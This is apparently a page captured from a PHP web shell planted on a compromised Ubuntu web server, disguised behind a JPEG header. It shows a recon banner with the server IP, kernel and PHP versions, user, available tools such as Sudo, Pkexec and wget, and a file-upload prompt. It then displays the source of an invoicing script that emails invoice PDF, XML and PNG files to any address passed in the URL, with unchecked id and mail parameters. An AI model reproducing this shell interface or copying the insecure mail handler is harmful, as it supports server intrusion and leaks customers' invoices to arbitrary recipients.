����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.238 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/self/root/proc/thread-self/root/var/www/html/goldencar/sae/appsae/plugins/ |
Upload File : |
<?php //////////configuracion de servidor y ruta////////////////// $tipoServer = ConfigurationData::getByPreffix('server')->val; if($tipoServer=='W'){ $server = ConfigurationData::getByPreffix('directorioWin')->val; $rutasdk = ConfigurationData::getByPreffix('sdk')->val; $dominio = 'http://localhost/'; }else{ $server = ConfigurationData::getByPreffix('directorioLinux')->val; $rutasdk = ConfigurationData::getByPreffix('sdk')->val; $dominio = ConfigurationData::getByPreffix('dominio')->val; } /////////////////////////////// $s =$_GET['id']; $sale_id = $_GET['sale_id']; $sell = SellData::getById($s); $cart = OperationData::getByc($sale_id); ////////////////// generando el mensaje $subject = "[".$s."] Facturacion"; $message = "<p>Se Genero una factura Id = ".$s."</p>"; $person_th=""; $person_td=""; $person_th="<td>Proveedor</td>"; $person_td="<td>Sistema de Facturacion AppSAE 4.0</td>"; $message .= "<table border='1'><tr> <td>Id</td> $person_th <td>Almacen</td> <td>Estado de pago</td> <td>Estado de entrega</td> <td>Total</td> </tr> <tr> <td>".$s[1]."</td> $person_td <td>Inventario Principal</td> <td>Pagada</td> <td>Entregada</td> </tr> </table>"; $message.="<h3 style='color:#333;'>Resumen</h3>"; $message.="<table border='1'><thead><th>Id</th><th>Codigo</th><th>Cantidad</th><th>Unidad</th><th>Producto</th><th>P.U</th><th>P. Total</th></thead>"; foreach($cart as $c){ $message.="<tr>"; $product = ProductData::getBycode($c->barcode); $message.="<td>".$product->id."</td>"; $message.="<td>".$product->barcode."</td>"; $message.="<td>".$c->qty."</td>"; $message.="<td>".$product->unit."</td>"; $message.="<td>".$product->name."</td>"; $message.="<td>$ ".number_format($product->price_out,2,".",",")."</td>"; $message.="<td>$ ".number_format($c->qty*$product->price_out,2,".",",")."</td>"; $message.="</tr>"; } $message.="</table>"; ////////////////// if($subject!=""&&$message!=""){ $m = new MailData(); $m->open(); $m->mail->Subject = $subject; $m->message = "<p>$message</p>"; $m->mail->IsHTML(true); //enviar a destinatario $address_to = $_GET["mail"]; if($address_to != ""){ $m->mail->AddAddress($address_to); }else{ $address_to = ConfigurationData::getByPreffix("admin_email")->val;// $m->mail->AddAddress($address_to); } //archivos adjuntos if($tipoServer=='W'){ $archivo = ''.$rutasdk.'timbrados/cfdi_factura_'.$s.'.pdf'; $archivo2 = ''.$rutasdk.'timbrados/cfdi_factura_'.$s.'.png'; $archivo3 = ''.$rutasdk.'timbrados/cfdi_factura_'.$s.'.xml'; }else{ $archivo = '/var/www/html/sdk2/timbrados/cfdi_factura_'.$s.'.pdf'; $archivo2 = '/var/www/html/sdk2/timbrados/cfdi_factura_'.$s.'.png'; $archivo3 = '/var/www/html/sdk2/timbrados/cfdi_factura_'.$s.'.xml'; } $m->mail->AddAttachment($archivo); $m->mail->AddAttachment($archivo2); $m->mail->AddAttachment($archivo3); $m->send(); } ////////////////// print "<script>window.location='./index.php?view=sellsFac';</script>"; ?>